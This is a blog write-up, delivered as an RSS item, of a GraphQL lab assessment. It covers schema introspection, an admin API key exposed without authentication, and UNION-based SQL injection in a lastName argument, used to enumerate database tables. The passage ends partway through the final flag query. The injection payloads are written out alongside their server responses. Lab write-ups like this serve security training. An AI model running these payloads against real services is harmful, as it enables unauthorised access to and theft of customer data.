<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Hassan Elsayed</title>
    <description>The latest articles on DEV Community by Hassan Elsayed (@hassanelsayed30).</description>
    <link>https://dev.to/hassanelsayed30</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4047149%2F77120d24-7018-4566-ae6c-e9ad35dbaaa3.jpeg</url>
      <title>DEV Community: Hassan Elsayed</title>
      <link>https://dev.to/hassanelsayed30</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/hassanelsayed30"/>
    <language>en</language>
    <item>
      <title>Attack GraphQL — Skills Assessment Writeup</title>
      <dc:creator>Hassan Elsayed</dc:creator>
      <pubDate>Sun, 26 Jul 2026 00:47:35 +0000</pubDate>
      <link>https://dev.to/hassanelsayed30/attack-graphql-skills-assessment-writeup-2ii9</link>
      <guid>https://dev.to/hassanelsayed30/attack-graphql-skills-assessment-writeup-2ii9</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Walking through my solve of the &lt;strong&gt;Attack GraphQL&lt;/strong&gt; Skills Assessment. This one is about probing a GraphQL API through introspection, finding an injectable argument, and chaining that into a full SQL injection to reach the flag.&lt;/p&gt;

&lt;p&gt;What makes it interesting is that GraphQL hides its attack surface behind a schema — there's no list of "forms" to test like a normal web app. You have to ask the API to describe itself first, and one small mistake in how you ask can make you miss the exact parameter that's vulnerable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Mapping the Schema with Introspection
&lt;/h2&gt;

&lt;p&gt;First move against any GraphQL target: introspection, asking the API to hand over its own schema.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;__schema&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returned the full type map. The part that mattered was the &lt;code&gt;Query&lt;/code&gt; root type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Query"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"fields"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"allEmployees"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"employeeByUsername"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"allProducts"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"productByName"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"activeApiKeys"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"allCustomers"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"customerByName"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Eight entry points, backed by object types like &lt;code&gt;EmployeeObject&lt;/code&gt;, &lt;code&gt;ProductObject&lt;/code&gt;, &lt;code&gt;ApiKeyObject&lt;/code&gt;, and &lt;code&gt;CustomerObject&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The mistake that almost cost me the attack surface
&lt;/h3&gt;

&lt;p&gt;Next instinct: check what each field &lt;em&gt;returns&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;__type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Query"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ofType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This showed &lt;code&gt;customerByName&lt;/code&gt; returns a &lt;code&gt;CustomerObject&lt;/code&gt; — useful, but incomplete. It said nothing about what &lt;strong&gt;arguments&lt;/strong&gt; each field accepts. In GraphQL, a field's return type and its args are two completely separate parts of the schema — querying one tells you nothing about the other.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this matters
&lt;/h3&gt;

&lt;p&gt;If you only introspect return types, you see the shape of the data but stay blind to the actual attack surface — the inputs you control. The real question isn't "what does this return?", it's "what can I send it?" So I re-ran introspection asking specifically for &lt;code&gt;args&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;__type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Query"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="n"&gt;ofType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gave the real map — every field's arguments, including &lt;code&gt;employeeByUsername(username: String!)&lt;/code&gt;, &lt;code&gt;productByName(name: String!)&lt;/code&gt;, &lt;code&gt;allCustomers(apiKey: String!)&lt;/code&gt;, and &lt;code&gt;customerByName(apiKey: String!, lastName: String!)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Every one a &lt;code&gt;NON_NULL String&lt;/code&gt; — every one a potential injection point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Finding an Admin API Key
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;allCustomers&lt;/code&gt; and &lt;code&gt;customerByName&lt;/code&gt; both required an &lt;code&gt;apiKey&lt;/code&gt; I didn't have. But &lt;code&gt;activeApiKeys&lt;/code&gt; needed no arguments at all:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;activeApiKeys&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"activeApiKeys"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"guest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"fbb64ce26fbe8a8d8d6895b8e6ba21a3"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"guest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"9cf8622bbc9fdc78f245663e08e5b4c1"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"0711a879ed751e63330a78a4b195bbad"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An admin-scoped key, served with zero authentication. That's the key that unlocks the customer endpoints.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this matters
&lt;/h3&gt;

&lt;p&gt;This alone is a serious flaw — API keys, especially privileged ones, should never be readable through an unauthenticated query. In a real engagement, this finding alone would be worth reporting regardless of what came next.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Probing Every Argument for SQL Injection
&lt;/h2&gt;

&lt;p&gt;With a valid &lt;code&gt;apiKey&lt;/code&gt;, I tested every string argument from Step 1 by appending a classic SQLi probe: &lt;code&gt;' -- -&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apiKey&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, and &lt;code&gt;name&lt;/code&gt; all came back clean. &lt;code&gt;lastName&lt;/code&gt; on &lt;code&gt;customerByName&lt;/code&gt; did not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;customerByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hassan 'h -- -"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0711a879ed751e63330a78a4b195bbad"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="nv"&gt;"errors"&lt;/span&gt;&lt;span class="p"&gt;:[{&lt;/span&gt;&lt;span class="nv"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;"(pymysql.err.ProgrammingError) (1064, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right syntax to use near
'h -- -' &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="nv"&gt; LIMIT 1' at line 3&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;)
[SQL: SELECT customer.id AS customer_id, customer.`firstName` AS customer_firstName,
customer.`lastName` AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='hassan 'h -- -'
 LIMIT %(param_1)s]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why this matters
&lt;/h3&gt;

&lt;p&gt;This single error message handed over everything needed for the rest of the attack: the exact table (&lt;code&gt;customer&lt;/code&gt;), the exact column names (&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt;, &lt;code&gt;address&lt;/code&gt;), and confirmation that &lt;code&gt;lastName&lt;/code&gt; gets concatenated straight into the query with zero sanitization. A verbose SQL error like this turns a blind injection into a fully sighted one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Confirming the Column Count
&lt;/h2&gt;

&lt;p&gt;The leaked query already showed 4 selected columns, confirmed directly with a matching &lt;code&gt;UNION SELECT&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;customerByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hassan' UNION SELECT 1,2,3,4 -- -"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0711a879ed751e63330a78a4b195bad"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"customerByName"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Q3VzdG9tZXJPYmplY3Q6MQ=="&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"firstName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"lastName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"address"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"4"&lt;/span&gt;&lt;span class="p"&gt;}}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt;, and &lt;code&gt;address&lt;/code&gt; all echoed the exact literal values from the &lt;code&gt;UNION SELECT&lt;/code&gt; — 4 columns confirmed working. &lt;code&gt;id&lt;/code&gt; stayed as a base64 string instead of showing &lt;code&gt;1&lt;/code&gt;, because GraphQL/Relay always encodes &lt;code&gt;id&lt;/code&gt; into an opaque global identifier regardless of the underlying column's actual value. Columns 2, 3, and 4 were all equally usable for exfiltration — I picked column 2 (&lt;code&gt;firstName&lt;/code&gt;) going forward, purely out of convenience.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Enumerating Database Tables
&lt;/h2&gt;

&lt;p&gt;With a working 4-column injection, I queried &lt;code&gt;information_schema.tables&lt;/code&gt; for everything in the current database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;customerByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hassan' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- -"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;apiKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0711a879ed751e63330a78a4b195bad"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;firstName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;lastName&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"customerByName"&lt;/span&gt;&lt;span class="p"&gt;:{&lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"firstName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"lastName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"api_key,employee,flag,product,customer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"address"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"4"&lt;/span&gt;&lt;span class="p"&gt;}}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Five tables: &lt;code&gt;api_key&lt;/code&gt;, &lt;code&gt;employee&lt;/code&gt;, &lt;code&gt;flag&lt;/code&gt;, &lt;code&gt;product&lt;/code&gt;, &lt;code&gt;customer&lt;/code&gt;. One of those doesn't need explaining.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 6: Extracting the Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight graphql"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
